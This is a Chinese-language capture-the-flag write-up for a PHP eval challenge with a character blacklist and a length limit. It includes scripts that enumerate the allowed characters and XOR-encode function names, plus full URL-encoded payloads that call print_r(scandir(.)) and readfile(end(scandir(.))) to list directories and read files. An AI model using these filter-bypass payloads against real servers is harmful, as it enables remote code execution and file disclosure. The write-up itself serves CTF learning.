题目很好,学到很多
先看到这个题的源码
0xd )
die('you are so close, omg');
eval($_);
?>
可以看到它过滤的还是不少的,像这种有过滤代码量又少的题,无非就是各种花样绕,什么亦或呀,自增呀之类的,推荐先看p神的那几篇文章,我们也可以看到他这里是没有ban掉亦或符号的,可以会用得上,这里我先尝试了一下取反
可以看到是执行了phpinfo()的
这里查看到它禁用的函数
没有屏蔽print_r()和scandir() ,想办法构造出print_r(scandir(.))
ban了一大堆,写脚本跑一下看看还有哪些字符能用
for($i = 0; $i < 256; $i++){
if (!preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', chr($i))){
echo chr($i)." ";
// echo 'ascii值:';
// echo $i;
}
}
结果:
! # % ( ) * + - / : ; < = > ? @ A B C H I J K L M N Q R T U V W X Y Z \ ] ^ a b c h i j k l m n q r t u v w x y z } ~
想办法构造出print_r(scandir(.))
写脚本逐位异或
$payload = '';
$ff='';
$x = 'print_r';
for($i = 0; $i < strlen($x); $i++){
for ($j = 0; $j < 255; $j++){
$k = chr($j) ^ chr(255); //改这里,这里用的255,也就是%ff ,用 %A0也可以 ${%A0%B8%BA%AB^%ff%ff%ff%ff}{%A0}();&%A0=phpinfo
if ($k == $x[$i]) {
$payload .= '%'.dechex($j);
}
}
}
for($i = 0; $i < strlen($x); $i++){$ff.='%ff';}
echo $ff.'^'.$payload;
?>
print_r
%ff%ff%ff%ff%ff%ff%ff^%8f%8d%96%91%8b%a0%8d
scandir
%ff%ff%ff%ff%ff%ff%ff^%8c%9c%9e%91%9b%96%8d
.
%ff^%d1
构造出:
((%8F%8D%96%91%8B%A0%8D)^(%ff%ff%ff%ff%ff%ff%ff))(((%8C%9C%9E%91%9B%96%8D)^(%ff%ff%ff%ff%ff%ff%ff))(%D1^%ff));
((%8f%8d%96%96%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%ff%8c%ff%ff%ff)^(%ff%ff%ff%8b%ff%ff%ff))(((%8c%9c%9c%96%8c%96%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%8f%8c%9c%ff%ff)^(%ff%ff%8d%8b%8b%ff%ff))(%d1^%ff));
但是字符数超过13了
看看怎么减少字符数
这里的意思大概是利用这个print_r(scandir(.))里面已经有的字符亦或得到里面的字符,那这个可以被已有的字符亦或出的字符就不用再使用了,减少一个坑,但是会让payload变长很多
下面的东西应该写脚本爆破一下是可以跑出来的,不知道师傅怎么得出的
a = c^p^r
d = s^c^t
n = i^s^t
我这里还寻思用点把一堆单个字母的亦或拼接起来,突然发现点被ban了
这个亦或手法真是学到了,举个例子,竖着看,n = ist,那三个16进制刚好是ist
((%8f%8d%96%96%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%ff%8c%ff%ff%ff)^(%ff%ff%ff%8b%ff%ff%ff))(((%8c%9c%9c%96%8c%96%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%8f%8c%9c%ff%ff)^(%ff%ff%8d%8b%8b%ff%ff))(%d1^%ff));
构造 readfile(end(scandir(.))) ,这种无参数的rce还有很多别的姿势的
((%8c%9a%9e%9b%9c%96%93%9a)^(%ff%ff%ff%ff%ff%ff%ff%ff)^(%9b%ff%ff%ff%93%ff%ff%ff)^(%9a%ff%ff%ff%96%ff%ff%ff))(((%9a%9c%9b)^(%ff%ff%ff)^(%ff%93%ff)^(%ff%9e%ff))(((%8c%9c%9e%9c%9b%96%8c)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%ff%93%ff%ff%9b)^(%ff%ff%ff%9e%ff%ff%9a))(%d1^%ff)));
参考
这个题目zeddy师傅已经写的非常详尽了https://blog.zeddyu.info/2019/07/20/isitdtu-2019/
还有这位佬,思路不一样的https://www.shawroot.cc/1209.html